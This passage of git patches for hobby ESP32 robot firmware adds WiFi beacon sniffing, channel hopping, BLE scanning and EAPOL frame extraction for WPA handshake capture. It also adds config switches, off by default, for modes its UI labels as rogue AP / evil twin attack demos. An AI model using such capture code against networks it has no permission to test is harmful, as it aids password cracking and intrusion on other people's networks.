} +} + +BLEDeviceInfo* NetworkDatabase::findBLEDevice(const uint8_t* mac) { + for (auto& dev : _bleDevices) { + if (memcmp(dev.mac, mac, 6) == 0) { + return &dev; + } + } + return nullptr; +} + +BLEDeviceInfo* NetworkDatabase::addBLEDevice(const uint8_t* mac, int8_t rssi, uint8_t advType) { + if (_bleDevices.size() >= MAX_BLE_DEVICES) { + return nullptr; + } + + BLEDeviceInfo dev = {}; + memcpy(dev.mac, mac, 6); + dev.rssi = rssi; + dev.advType = advType; + dev.lastSeen = 0; + dev.name[0] = '\0'; + + _bleDevices.push_back(dev); + + return &_bleDevices.back(); +} + +std::vector NetworkDatabase::getChannelAnalysis() const { + std::vector channelInfo(14); + + for (int i = 0; i < 14; i++) { + channelInfo[i].channel = i + 1; + channelInfo[i].networkCount = 0; + channelInfo[i].maxRssi = -100; + channelInfo[i].avgRssi = -100; + } + + int channelSum[14] = {0}; + int channelCount[14] = {0}; + + for (const auto& net : _networks) { + if (net.channel >= 1 && net.channel <= 14) { + int idx = net.channel - 1; + channelInfo[idx].networkCount++; + channelSum[idx] += net.rssi; + channelCount[idx]++; + if (net.rssi > channelInfo[idx].maxRssi) { + channelInfo[idx].maxRssi = net.rssi; + } + } + } + + for (int i = 0; i < 14; i++) { + if (channelCount[i] > 0) { + channelInfo[i].avgRssi = channelSum[i] / channelCount[i]; + } + } + + return channelInfo; +} + +void NetworkDatabase::loadFromNVS() { + nvs_handle_t nvs; + esp_err_t err = nvs_open("gotchi", NVS_READONLY, &nvs); + if (err != ESP_OK) { + ESP_LOGI(TAG, "No saved network data in NVS"); + return; + } + + uint32_t savedNetworks = 0; + if (nvs_get_u32(nvs, "netsfound", &savedNetworks) == ESP_OK) { + _networksFound = savedNetworks; + } + + nvs_close(nvs); + ESP_LOGI(TAG, "Loaded from NVS: NetworksFound=%u", (unsigned)_networksFound); +} + +void NetworkDatabase::saveToNVS() { + nvs_handle_t nvs; + esp_err_t err = nvs_open("gotchi", NVS_READWRITE, &nvs); + if (err != ESP_OK) { + ESP_LOGW(TAG, "Failed to open NVS for writing network data"); + return; + } + + nvs_set_u32(nvs, "netsfound", _networksFound); + nvs_set_u32(nvs, "netscnt", (uint32_t)_networks.size()); + nvs_commit(nvs); + nvs_close(nvs); + + ESP_LOGI(TAG, "Saved to NVS: NetworksFound=%u, Networks=%u", + (unsigned)_networksFound, (unsigned)_networks.size()); +} + +static NetworkDatabase _networkDatabase; + +NetworkDatabase& getNetworkDatabase() { + return _networkDatabase; +} + +} \ No newline at end of file diff --git a/firmware/main/gotchi/network_db.h b/firmware/main/gotchi/network_db.h new file mode 100644 index 0000000..e7f9f52 --- /dev/null +++ b/firmware/main/gotchi/network_db.h @@ -0,0 +1,62 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#pragma once +#include +#include +#include + +namespace gotchi { + +class NetworkDatabase { +public: + NetworkDatabase(); + + void clear(); + void clearHandshakes(); + void clearBLEDevices(); + + // Network operations + NetworkInfo* findNetwork(const uint8_t* bssid); + NetworkInfo* addNetwork(const char* ssid, const uint8_t* bssid, int8_t rssi, uint8_t channel); + void updateNetworkRSSI(const uint8_t* bssid, int8_t rssi); + const std::vector& getNetworks() const { return _networks; } + int getNetworkCount() const { return (int)_networks.size(); } + uint32_t getNetworksFound() const { return _networksFound; } + void incrementNetworksFound() { _networksFound++; } + + // Handshake operations + bool hasCompleteHandshake(const uint8_t* bssid) const; + void addHandshake(const HandshakeInfo& hs); + const std::vector& getHandshakes() const { return _handshakes; } + int getHandshakeCount() const; + void markNetworkHasCapture(const uint8_t* bssid); + + // BLE operations + BLEDeviceInfo* findBLEDevice(const uint8_t* mac); + BLEDeviceInfo* addBLEDevice(const uint8_t* mac, int8_t rssi, uint8_t advType); + const std::vector& getBLEDevices() const { return _bleDevices; } + int getBLEDeviceCount() const { return (int)_bleDevices.size(); } + + // Channel analysis + std::vector getChannelAnalysis() const; + + // Persistence + void loadFromNVS(); + void saveToNVS(); + +private: + static const int MAX_NETWORKS = 200; + static const int MAX_HANDSHAKES = 50; + static const int MAX_BLE_DEVICES = 100; + + std::vector _networks; + std::vector _handshakes; + std::vector _bleDevices; + uint32_t _networksFound; +}; + +NetworkDatabase& getNetworkDatabase(); + +} \ No newline at end of file diff --git a/firmware/main/gotchi/wifi_scanner.cpp b/firmware/main/gotchi/wifi_scanner.cpp new file mode 100644 index 0000000..d045a94 --- /dev/null +++ b/firmware/main/gotchi/wifi_scanner.cpp @@ -0,0 +1,256 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#include "wifi_scanner.h" +#include "network_db.h" +#include "handshake_parser.h" +#include +#include +#include +#include +#include + +static const char* TAG = "wifi_scanner"; + +namespace gotchi { + +static const uint8_t CHANNEL_SEQ[] = {1, 6, 11, 2, 3, 4, 5, 7, 8, 9, 10, 12, 13}; +static const int CHANNEL_SEQ_LEN = 13; + +WifiScanner::WifiScanner() + : _initialized(false), _sniffing(false), _scanning(false), + _currentChannel(1), _channelsScanned(0), _lastChannelHop(0), + _hopIntervalMs(500), _channelHopEnabled(true), _hopIndex(0) { +} + +bool WifiScanner::init() { + if (_initialized) return true; + + ESP_LOGI(TAG, "Initializing WiFi..."); + + wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); + esp_err_t ret = esp_wifi_init(&cfg); + if (ret != ESP_OK) { + ESP_LOGW(TAG, "WiFi init failed: %d", ret); + return false; + } + vTaskDelay(pdMS_TO_TICKS(100)); + + ret = esp_wifi_set_mode(WIFI_MODE_STA); + if (ret != ESP_OK) { + ESP_LOGW(TAG, "WiFi mode set failed: %d", ret); + esp_wifi_deinit(); + return false; + } + vTaskDelay(pdMS_TO_TICKS(100)); + + _initialized = true; + ESP_LOGI(TAG, "WiFi initialized"); + return true; +} + +int WifiScanner::ieee80211_hdrlen(uint16_t fc) { + int hdrlen = 24; + uint8_t type = (fc >> 2) & 0x3; + if (type == 2) { + if (fc & 0x0080) hdrlen += 2; + } + if (fc & 0x8000) hdrlen += 4; + return hdrlen; +} + +void WifiScanner::processBeaconFrame(uint8_t* payload, int len, int8_t rssi, uint8_t channel) { + if (len < 36) return; + + int pos = 36; + while (pos < len - 2) { + uint8_t tag = payload[pos]; + uint8_t tag_len = payload[pos + 1]; + + if (tag == 0x00) { + if (tag_len > 0 && tag_len < 33) { + uint8_t bssid[6]; + memcpy(bssid, &payload[10], 6); + + auto& db = getNetworkDatabase(); + auto* existing = db.findNetwork(bssid); + if (existing) { + existing->rssi = rssi; + existing->lastSeen = GetHAL().millis(); + } else { + char ssid[33] = {0}; + memcpy(ssid, &payload[pos + 2], tag_len); + db.addNetwork(ssid, bssid, rssi, channel); + ESP_LOGI(TAG, "Found: %.32s (ch:%d rssi:%d)", ssid, channel, rssi); + } + } + break; + } + pos += tag_len + 2; + } +} + +void WifiScanner::processDataFrame(uint8_t* payload, int len, int8_t rssi) { + if (len < 24) return; + + uint16_t fc = payload[0] | (payload[1] << 8); + int hdrlen = ieee80211_hdrlen(fc); + + if (len < hdrlen + 8) return; + + bool toDs = (fc & 0x0100) != 0; + bool fromDs = (fc & 0x0200) != 0; + + int offset = hdrlen; + if (toDs && fromDs) offset += 6; + + uint8_t subtype = (fc >> 4) & 0x0F; + bool isQoS = (subtype & 0x08) != 0; + if (isQoS) offset += 2; + + if (isQoS && (payload[1] & 0x80)) offset += 4; + + if (offset + 8 > len) return; + + if (payload[offset] == 0xAA && payload[offset+1] == 0xAA && + payload[offset+2] == 0x03 && payload[offset+3] == 0x00 && + payload[offset+4] == 0x00 && payload[offset+5] == 0x00 && + payload[offset+6] == 0x88 && payload[offset+7] == 0x8E) { + + uint8_t srcMac[6], dstMac[6]; + memcpy(srcMac, &payload[10], 6); + memcpy(dstMac, &payload[4], 6); + + uint8_t bssid[6]; + memcpy(bssid, &payload[16], 6); + + char ssid[33] = {0}; + auto& db = getNetworkDatabase(); + for (const auto& net : db.getNetworks()) { + if (memcmp(net.bssid, bssid, 6) == 0) { + strncpy(ssid, net.ssid, 32); + break; + } + } + + getHandshakeParser().processEapolFrame(payload + offset + 8, len - offset - 8, + srcMac, dstMac, ssid, bssid, rssi); + } +} + +void WifiScanner::wifiSniffCallback(void* buf, wifi_promiscuous_pkt_type_t type) { + if (buf == nullptr) return; + + auto& scanner = getWifiScanner(); + wifi_promiscuous_pkt_t* pkt = (wifi_promiscuous_pkt_t*)buf; + uint8_t* payload = pkt->payload; + int len = pkt->rx_ctrl.sig_len; + int8_t rssi = pkt->rx_ctrl.rssi; + uint8_t channel = pkt->rx_ctrl.channel; + + if (len < 24) return; + + if (type == WIFI_PKT_MGMT) { + if ((payload[0] & 0xFC) != 0x80) return; + scanner.processBeaconFrame(payload, len, rssi, channel); + } + else if (type == WIFI_PKT_DATA) { + scanner.processDataFrame(payload, len, rssi); + } +} + +bool WifiScanner::startSniff() { + if (!_initialized) { + if (!init()) return false; + } + + if (_sniffing) return true; + + ESP_LOGI(TAG, "Starting sniff mode..."); + + esp_wifi_disconnect(); + vTaskDelay(pdMS_TO_TICKS(100)); + + esp_wifi_set_promiscuous_rx_cb(wifiSniffCallback); + + wifi_promiscuous_filter_t filter = { + .filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT | WIFI_PROMIS_FILTER_MASK_DATA + }; + esp_wifi_set_promiscuous_filter(&filter); + esp_wifi_set_promiscuous(true); + + esp_wifi_set_channel(1, WIFI_SECOND_CHAN_NONE); + _lastChannelHop = GetHAL().millis(); + _hopIndex = 0; + + _sniffing = true; + ESP_LOGI(TAG, "Sniff mode started"); + return true; +} + +bool WifiScanner::stopSniff() { + if (!_sniffing) return true; + + esp_wifi_set_promiscuous(false); + _sniffing = false; + ESP_LOGI(TAG, "Sniff mode stopped"); + return true; +} + +bool WifiScanner::startScan() { + if (!_initialized) { + if (!init()) return false; + } + + if (_scanning) return true; + + ESP_LOGI(TAG, "Starting active scan..."); + + wifi_scan_config_t scan_config = {}; + scan_config.show_hidden = true; + esp_wifi_scan_start(&scan_config, false); + + _scanning = true; + _sniffing = true; + return true; +} + +bool WifiScanner::stopScan() { + if (!_scanning) return true; + + esp_wifi_scan_stop(); + _scanning = false; + _sniffing = false; + ESP_LOGI(TAG, "Scan stopped"); + return true; +} + +void WifiScanner::update() { + if (!_sniffing || !_channelHopEnabled) return; + + uint32_t now = GetHAL().millis(); + if ((now - _lastChannelHop) > _hopIntervalMs) { + _hopIndex = (_hopIndex + 1) % CHANNEL_SEQ_LEN; + _currentChannel = CHANNEL_SEQ[_hopIndex]; + esp_wifi_set_channel(_currentChannel, WIFI_SECOND_CHAN_NONE); + _channelsScanned++; + _lastChannelHop = now; + } +} + +void WifiScanner::setHopInterval(uint32_t intervalMs) { + _hopIntervalMs = intervalMs; +} + +void WifiScanner::setChannelHopEnabled(bool enabled) { + _channelHopEnabled = enabled; +} + +static WifiScanner _wifiScanner; + +WifiScanner& getWifiScanner() { + return _wifiScanner; +} + +} \ No newline at end of file diff --git a/firmware/main/gotchi/wifi_scanner.h b/firmware/main/gotchi/wifi_scanner.h new file mode 100644 index 0000000..16898b8 --- /dev/null +++ b/firmware/main/gotchi/wifi_scanner.h @@ -0,0 +1,52 @@ +/* + * SPDX-FileCopyrightText: 2026 StackChan-Gotchi + * SPDX-License-Identifier: MIT + */ +#pragma once +#include +#include +#include +#include + +namespace gotchi { + +class WifiScanner { +public: + WifiScanner(); + + bool init(); + bool isInitialized() const { return _initialized; } + bool isSniffing() const { return _sniffing; } + uint8_t getCurrentChannel() const { return _currentChannel; } + uint32_t getChannelsScanned() const { return _channelsScanned; } + + bool startSniff(); + bool stopSniff(); + + bool startScan(); + bool stopScan(); + + void update(); + void setHopInterval(uint32_t intervalMs); + void setChannelHopEnabled(bool enabled); + +private: + static void wifiSniffCallback(void* buf, wifi_promiscuous_pkt_type_t type); + static int ieee80211_hdrlen(uint16_t fc); + void processBeaconFrame(uint8_t* payload, int len, int8_t rssi, uint8_t channel); + void processDataFrame(uint8_t* payload, int len, int8_t rssi); + + bool _initialized; + bool _sniffing; + bool _scanning; + uint8_t _currentChannel; + uint32_t _channelsScanned; + uint32_t _lastChannelHop; + uint32_t _hopIntervalMs; + bool _channelHopEnabled; + uint8_t _hopIndex; +}; + +WifiScanner& getWifiScanner(); + +} \ No newline at end of file diff --git a/firmware/main/gotchi/xp_system.cpp b/firmware/main/gotchi/xp_system.cpp index a3122cc..5c29273 100644 --- a/firmware/main/gotchi/xp_system.cpp +++ b/firmware/main/gotchi/xp_system.cpp @@ -131,4 +131,10 @@ void XPSystem::saveToNVS() { nvs_close(nvs); } +static XPSystem _xpSystem; + +XPSystem& getXPSystem() { + return _xpSystem; +} + } \ No newline at end of file diff --git a/firmware/main/gotchi/xp_system.h b/firmware/main/gotchi/xp_system.h index 0d54a8d..52af517 100644 --- a/firmware/main/gotchi/xp_system.h +++ b/firmware/main/gotchi/xp_system.h @@ -37,4 +37,6 @@ class XPSystem { bool _initialized; }; +XPSystem& getXPSystem(); + } \ No newline at end of file From 94adbb58ed8b8ad0e95f965c85ae3af5cfaeb0b5 Mon Sep 17 00:00:00 2001 From: Paul Butler Date: Mon, 11 May 2026 23:49:58 +0100 Subject: [PATCH 11/17] Fix build errors: add rogue_manager include, fix buffer sizes --- firmware/main/apps/app_gotchi/app_gotchi.cpp | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) diff --git a/firmware/main/apps/app_gotchi/app_gotchi.cpp b/firmware/main/apps/app_gotchi/app_gotchi.cpp index a463c1b..d698fbb 100644 --- a/firmware/main/apps/app_gotchi/app_gotchi.cpp +++ b/firmware/main/apps/app_gotchi/app_gotchi.cpp @@ -18,6 +18,7 @@ #include #include #include +#include using namespace mooncake; using namespace stackchan; @@ -737,20 +738,20 @@ void AppGotchi::renderUI() { uint8_t targetCh = rogue.getTargetChannel(); bool isRunning = rogue.isActive(); - char rogueDisplay[400]; - const char* statusStr = isRunning ? "● Broadcasting" : "○ Stopped"; + char rogueDisplay[600]; + const char* statusStr = isRunning ? "Broadcasting" : "Stopped"; snprintf(rogueDisplay, sizeof(rogueDisplay), - "═══════════════════════════════════════════\n" - " ⚠️ WARNING - EDUCATIONAL USE ONLY ⚠️ \n" - "═══════════════════════════════════════════\n" + "===============================================\n" + " WARNING - EDUCATIONAL USE ONLY\n" + "===============================================\n" "Target SSID: %s\n" "Target CH: %d\n" "Status: %s\n" - "──────────────────────────────────────────\n" + "-----------------------------------------------\n" "Demo of rogue AP / evil twin attack vectors\n" " Only test on networks YOU own!\n" - "═══════════════════════════════════════════", + "===============================================", targetSSID, (int)targetCh, statusStr); _networkListLabel->setText(rogueDisplay); From 2c30f67b0793ec480ecaa065c955b23a5c6c11c1 Mon Sep 17 00:00:00 2001 From: Paul Butler Date: Tue, 12 May 2026 00:23:11 +0100 Subject: [PATCH 12/17] Add config-based mode permissions for HUNT and ROGUE modes --- firmware/main/apps/app_gotchi/app_gotchi.cpp | 81 +++++++++----------- firmware/main/gotchi/ble_scanner.cpp | 8 +- firmware/main/gotchi/gotchi.cpp | 8 ++ firmware/main/gotchi/gotchi.h | 2 + firmware/main/gotchi/mode.h | 5 ++ firmware/main/gotchi/mode_manager.cpp | 9 +++ firmware/main/gotchi/storage.cpp | 8 ++ firmware/main/gotchi/storage.h | 4 + firmware/main/gotchi/web_manager.cpp | 48 +++++++++++- firmware/main/gotchi/web_manager.h | 1 + 10 files changed, 126 insertions(+), 48 deletions(-) diff --git a/firmware/main/apps/app_gotchi/app_gotchi.cpp b/firmware/main/apps/app_gotchi/app_gotchi.cpp index d698fbb..35b81bd 100644 --- a/firmware/main/apps/app_gotchi/app_gotchi.cpp +++ b/firmware/main/apps/app_gotchi/app_gotchi.cpp @@ -62,7 +62,7 @@ void AppGotchi::onOpen() { _statsLabel->setTextColor(lv_color_hex(0x00FF88)); _statsLabel->setTextAlign(LV_TEXT_ALIGN_LEFT); _statsLabel->setSize(300, 75); // Taller for 3-line display - _statsLabel->align(LV_ALIGN_TOP_LEFT, 5, 5); + _statsLabel->align(LV_ALIGN_TOP_LEFT, 5, 10); _statsLabel->setText("Nets:0 XP:0 Lvl:1 | Scanning..."); // Network list display (bottom of screen) @@ -268,7 +268,13 @@ void AppGotchi::handleInput() { } void AppGotchi::cycleMode() { - _currentMode = gotchi::getModeInfo(_currentMode).nextMode; + gotchi::Mode next = gotchi::getModeInfo(_currentMode).nextMode; + + // Skip disabled modes + for (int i = 0; i < 10 && !gotchi::canAccessMode(next); i++) { + next = gotchi::getModeInfo(next).nextMode; + } + _currentMode = next; gotchi::setMode(_currentMode); gotchi::onModeEnter(_currentMode); @@ -677,38 +683,34 @@ void AppGotchi::renderUI() { } // BLE_SCAN mode - formatted device list else if (_currentMode == gotchi::Mode::BLE_SCAN) { - _networkListLabel->setSize(300, 70); + _networkListLabel->setSize(300, 90); _networkListLabel->align(LV_ALIGN_BOTTOM_LEFT, 5, -5); - _networkListLabel->setBgColor(lv_color_hex(0x001522)); // Dark cyan bg - _networkListLabel->setTextColor(lv_color_hex(0x44DDDD)); // Cyan text + _networkListLabel->setBgColor(lv_color_hex(0x001522)); + _networkListLabel->setTextColor(lv_color_hex(0x44DDDD)); - // Show top 5 devices by signal strength with full MAC auto devices = gotchi::getBLEDevices(); - char bleList[300] = {0}; - int count = 0; + char bleList[400] = {0}; - // Sort by signal strength (strongest first) std::vector sorted = devices; std::sort(sorted.begin(), sorted.end(), [](const gotchi::BLEDeviceInfo& a, const gotchi::BLEDeviceInfo& b) { return a.rssi > b.rssi; }); - strncat(bleList, "Device Name MAC Address Signal\n", sizeof(bleList) - 1); - strncat(bleList, "------------------------------------------\n", sizeof(bleList) - 1); + strncat(bleList, "Name MAC RSSI\n", sizeof(bleList) - 1); + strncat(bleList, "------------------------------\n", sizeof(bleList) - 1); + int count = 0; for (const auto& dev : sorted) { if (count >= 5) break; - char line[48]; - char macStr[18]; - snprintf(macStr, sizeof(macStr), "%02X:%02X:%02X:%02X:%02X:%02X", - dev.mac[0], dev.mac[1], dev.mac[2], dev.mac[3], dev.mac[4], dev.mac[5]); - snprintf(line, sizeof(line), "%-14s %-17s %ddBm\n", - dev.name, macStr, (int)dev.rssi); + char line[50]; + char macStr[13]; + snprintf(macStr, sizeof(macStr), "%02X:%02X:%02X%02X%02X", dev.mac[0], dev.mac[1], dev.mac[2], dev.mac[3], dev.mac[4]); + snprintf(line, sizeof(line), "%-10s %-11s %d\n", dev.name, macStr, (int)dev.rssi); strncat(bleList, line, sizeof(bleList) - strlen(bleList) - 1); count++; } if (devices.empty()) { - strncat(bleList, "Scanning for BLE devices...\n", sizeof(bleList) - 1); + strncat(bleList, "Scanning for BLE...\n", sizeof(bleList) - 1); } _networkListLabel->setText(bleList); return; @@ -742,16 +744,16 @@ void AppGotchi::renderUI() { const char* statusStr = isRunning ? "Broadcasting" : "Stopped"; snprintf(rogueDisplay, sizeof(rogueDisplay), - "===============================================\n" + "======================================\n" " WARNING - EDUCATIONAL USE ONLY\n" - "===============================================\n" + "======================================\n" "Target SSID: %s\n" "Target CH: %d\n" "Status: %s\n" - "-----------------------------------------------\n" - "Demo of rogue AP / evil twin attack vectors\n" + "--------------------------------------\n" + "Demo of rogue AP / evil twin attacks\n" " Only test on networks YOU own!\n" - "===============================================", + "======================================", targetSSID, (int)targetCh, statusStr); _networkListLabel->setText(rogueDisplay); @@ -799,23 +801,13 @@ void AppGotchi::renderUI() { int sessMins = (stats.sessionTimeSeconds % 3600) / 60; snprintf(statsDisplay, sizeof(statsDisplay), - "=========== STATS ===========\n" - "LEVEL: Lv%d%s | XP: %d\n" - "PROGRESS: %d%% to next level\n" - "--------------------------------\n" - "ACHIEVEMENTS: %u/17 unlocked\n" - "--------------------------------\n" - "TOTAL NETWORKS: %u discovered\n" - "TOTAL HANDSHAKES: %u captured\n" - "--------------------------------\n" - "SESSION STATS:\n" - " Networks: %u | Time: %dh%dm\n" - " XP Gained: +%u this session\n" - "--------------------------------\n" - "SYSTEM:\n" - " Uptime: %dh%dm%ds\n" - " Heap: %d bytes (min: %d)\n" - " GPS: %s (%d satellites)", + "=========== STATS ============\n" + "Lv: %d%s XP: %d Prog: %d%%\n" + "Ach: %u/17 | Nets: %u | HS: %u\n" + "------------------------------\n" + "Session: %u nets | %dh%dm | +%u XP\n" + "Uptime: %dh%dm%ds | Heap: %d\n" + "GPS: %s (%d sats)", (int)stats.level, prestigeStr, (int)stats.xp, gotchi::getXPProgress(stats.xp, stats.level), (unsigned)stats.achievementCount, @@ -824,8 +816,8 @@ void AppGotchi::renderUI() { (unsigned)stats.sessionNetworks, sessHours, sessMins, (unsigned)stats.sessionXPGain, hours, mins, secs, - (int)stats.freeHeap, (int)stats.minHeap, - stats.gpsValid ? "Valid" : "No signal", + (int)stats.freeHeap, + stats.gpsValid ? "OK" : "No", (int)stats.gpsSatellites); _networkListLabel->setText(statsDisplay); @@ -854,7 +846,7 @@ void AppGotchi::renderUI() { } else { // Reset label positions and colors for other modes (no networks found) _statsLabel->setSize(300, 75); - _statsLabel->align(LV_ALIGN_TOP_LEFT, 5, 5); + _statsLabel->align(LV_ALIGN_TOP_LEFT, 5, 10); _statsLabel->setBgColor(lv_color_hex(0x003320)); // Reset to green _statsLabel->setTextColor(lv_color_hex(0x00FF88)); // Reset text color _networkListLabel->setSize(300, 50); @@ -1089,12 +1081,13 @@ void AppGotchi::renderUI() { if (gotchi::isDialogueEnabled(_currentMode)) { uint32_t interval = gotchi::getModeDialogueInterval(_currentMode); uint32_t now = GetHAL().millis(); - if (interval > 0 && now - _lastIdleSpeak > interval && _idleDialogue.shouldSpeak(now)) { + if (interval > 0 && now - _lastIdleSpeak > interval) { _lastIdleSpeak = now; if (GetStackChan().hasAvatar()) { const char* phrase = _idleDialogue.getModeSpecificPhrase(_currentMode); GetStackChan().avatar().setSpeech(phrase); GetStackChan().addModifier(std::make_unique(2500, 180, true)); + mclog::tagInfo(getAppInfo().name, "Idle phrase: %s", phrase); } } } diff --git a/firmware/main/gotchi/ble_scanner.cpp b/firmware/main/gotchi/ble_scanner.cpp index 86ca088..4a430fa 100644 --- a/firmware/main/gotchi/ble_scanner.cpp +++ b/firmware/main/gotchi/ble_scanner.cpp @@ -110,8 +110,12 @@ static int ble_gap_event_cb(ble_gap_event* event, void* arg) { if (nameLen > 32) nameLen = 32; memcpy(device.name, &desc->data[i + 2], nameLen); device.name[nameLen] = '\0'; - hasName = true; - break; + bool validName = true; + for (int j = 0; j < nameLen; j++) { + unsigned char c = device.name[j]; + if (c < 32 || c > 126) { validName = false; break; } + } + if (validName) { hasName = true; break; } } } diff --git a/firmware/main/gotchi/gotchi.cpp b/firmware/main/gotchi/gotchi.cpp index b7a7841..6a7fedf 100644 --- a/firmware/main/gotchi/gotchi.cpp +++ b/firmware/main/gotchi/gotchi.cpp @@ -320,6 +320,14 @@ void acknowledgeHuntDisclaimer() { _huntDisclaimerShown = true; } +bool isHuntEnabled() { + return getConfig().huntEnabled; +} + +bool isRogueEnabled() { + return getConfig().rogueEnabled; +} + uint32_t getAchievementsBitmask() { return getAchievementSystem().getAchievementsBitmask(); } diff --git a/firmware/main/gotchi/gotchi.h b/firmware/main/gotchi/gotchi.h index 4d606e8..19da56f 100644 --- a/firmware/main/gotchi/gotchi.h +++ b/firmware/main/gotchi/gotchi.h @@ -192,5 +192,7 @@ bool isDeepThoughtUnlocked(); uint8_t getPrestige(); bool shouldShowHuntDisclaimer(); void acknowledgeHuntDisclaimer(); +bool isHuntEnabled(); +bool isRogueEnabled(); } \ No newline at end of file diff --git a/firmware/main/gotchi/mode.h b/firmware/main/gotchi/mode.h index e1e6f2c..e382b59 100644 --- a/firmware/main/gotchi/mode.h +++ b/firmware/main/gotchi/mode.h @@ -63,6 +63,11 @@ inline int16_t getModeHeadPitch(Mode mode) { return getModeInfo(mode).headPitch; inline bool isDialogueEnabled(Mode mode) { return getModeInfo(mode).enableDialogue; } inline uint32_t getModeDialogueInterval(Mode mode) { return getModeInfo(mode).dialogueIntervalMs; } inline int getModeDialogueCategory(Mode mode) { return getModeInfo(mode).dialogueCategory; } +inline bool canAccessMode(Mode mode) { + if (mode == Mode::HUNT) return gotchi::isHuntEnabled(); + if (mode == Mode::ROGUE) return gotchi::isRogueEnabled(); + return true; +} inline int16_t getModeHeadYaw(Mode mode, uint32_t now, uint32_t interval) { const ModeInfo& mi = getModeInfo(mode); diff --git a/firmware/main/gotchi/mode_manager.cpp b/firmware/main/gotchi/mode_manager.cpp index 4b572b0..2e0fe1e 100644 --- a/firmware/main/gotchi/mode_manager.cpp +++ b/firmware/main/gotchi/mode_manager.cpp @@ -58,6 +58,15 @@ void ModeManager::deinitWiFi() { void ModeManager::setMode(Mode mode) { if (_currentMode == mode) return; + if (mode == Mode::HUNT && !gotchi::isHuntEnabled()) { + ESP_LOGW(TAG, "HUNT mode is disabled in config"); + return; + } + if (mode == Mode::ROGUE && !gotchi::isRogueEnabled()) { + ESP_LOGW(TAG, "ROGUE mode is disabled in config"); + return; + } + ESP_LOGI(TAG, "Switching from %s to %s", getModeName(_currentMode), getModeName(mode)); diff --git a/firmware/main/gotchi/storage.cpp b/firmware/main/gotchi/storage.cpp index 2f6a87e..1c162d9 100644 --- a/firmware/main/gotchi/storage.cpp +++ b/firmware/main/gotchi/storage.cpp @@ -226,6 +226,12 @@ bool loadConfig(GotchiConfig& config) { if (doc["huntDisclaimerShown"].is()) { config.huntDisclaimerShown = doc["huntDisclaimerShown"].as(); } + if (doc["huntEnabled"].is()) { + config.huntEnabled = doc["huntEnabled"].as(); + } + if (doc["rogueEnabled"].is()) { + config.rogueEnabled = doc["rogueEnabled"].as(); + } ESP_LOGI(TAG, "Config loaded from JSON"); return true; @@ -255,6 +261,8 @@ bool saveConfig(const GotchiConfig& config) { doc["logRotationDays"] = config.logRotationDays; doc["maxNetworks"] = config.maxNetworks; doc["huntDisclaimerShown"] = config.huntDisclaimerShown; + doc["huntEnabled"] = config.huntEnabled; + doc["rogueEnabled"] = config.rogueEnabled; // Serialize to string first, then write to file std::string jsonStr; diff --git a/firmware/main/gotchi/storage.h b/firmware/main/gotchi/storage.h index 789e98e..5c0aee6 100644 --- a/firmware/main/gotchi/storage.h +++ b/firmware/main/gotchi/storage.h @@ -27,6 +27,8 @@ struct GotchiConfig { int logRotationDays; int maxNetworks; bool huntDisclaimerShown; + bool huntEnabled; + bool rogueEnabled; GotchiConfig() { strcpy(defaultMode, "SCOUT"); @@ -42,6 +44,8 @@ struct GotchiConfig { logRotationDays = 7; maxNetworks = MAX_STORED_NETWORKS; huntDisclaimerShown = false; + huntEnabled = false; + rogueEnabled = false; } }; diff --git a/firmware/main/gotchi/web_manager.cpp b/firmware/main/gotchi/web_manager.cpp index 4b13a2c..2a806c5 100644 --- a/firmware/main/gotchi/web_manager.cpp +++ b/firmware/main/gotchi/web_manager.cpp @@ -44,6 +44,7 @@ void WebManager::start() { httpd_uri_t apiFilesUri = {"/api/files", HTTP_GET, apiFilesHandler, nullptr}; httpd_uri_t apiWigleUri = {"/api/wigle", HTTP_POST, apiWigleHandler, nullptr}; httpd_uri_t apiPwnUri = {"/api/pwnagotchi", HTTP_POST, apiPwnagotchiHandler, nullptr}; + httpd_uri_t apiPermissionsUri = {"/api/permissions", HTTP_POST, apiPermissionsHandler, nullptr}; if (httpd_start(&_server, &config) == ESP_OK) { httpd_register_uri_handler(_server, &rootUri); @@ -56,6 +57,7 @@ void WebManager::start() { httpd_register_uri_handler(_server, &apiFilesUri); httpd_register_uri_handler(_server, &apiWigleUri); httpd_register_uri_handler(_server, &apiPwnUri); + httpd_register_uri_handler(_server, &apiPermissionsUri); ESP_LOGI(TAG, "HTTP server started"); } else { ESP_LOGW(TAG, "HTTP server failed to start"); @@ -135,6 +137,12 @@ th{color:#00ff88}
+
+

Mode Permissions

+
+ + +

Quick Actions

@@ -216,6 +224,14 @@ function setRogueTarget(){var sel=document.getElementById('rogueNetwork');var v= fetch('/api/rogue/set',{method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:params}) .then(function(r){return r.json()}).then(function(d){showMessage('Target: '+d.ssid+' CH'+d.channel,false);}).catch(function(e){showMessage('Failed to set target',true);});} function restartAP(){location.reload();} +function saveModePermissions(){ + var huntEnabled=document.getElementById('huntEnabled').checked; + var rogueEnabled=document.getElementById('rogueEnabled').checked; + fetch('/api/permissions',{method:'POST',headers:{'Content-Type':'application/json'}, + body:JSON.stringify({huntEnabled:huntEnabled,rogueEnabled:rogueEnabled})}) + .then(function(r){return r.json()}).then(function(d){showMessage('Permissions saved',false);}) + .catch(function(e){showMessage('Error: '+e,true);}); +} function updateStats(){ fetch('/api/stats').then(function(r){return r.json()}).then(function(d){ document.getElementById('currentMode').textContent=d.mode; @@ -300,11 +316,11 @@ esp_err_t WebManager::apiConfigHandler(httpd_req_t* req) { Mode m = Mode::IDLE; if (strcmp(modeStr, "SCOUT") == 0) m = Mode::SCOUT; - else if (strcmp(modeStr, "HUNT") == 0) m = Mode::HUNT; + else if (strcmp(modeStr, "HUNT") == 0 && isHuntEnabled()) m = Mode::HUNT; else if (strcmp(modeStr, "WARDIVE") == 0) m = Mode::WARDIVE; else if (strcmp(modeStr, "SPECTRUM") == 0) m = Mode::SPECTRUM; else if (strcmp(modeStr, "BLE_SCAN") == 0) m = Mode::BLE_SCAN; - else if (strcmp(modeStr, "ROGUE") == 0) m = Mode::ROGUE; + else if (strcmp(modeStr, "ROGUE") == 0 && isRogueEnabled()) m = Mode::ROGUE; else if (strcmp(modeStr, "STATS") == 0) m = Mode::STATS; else if 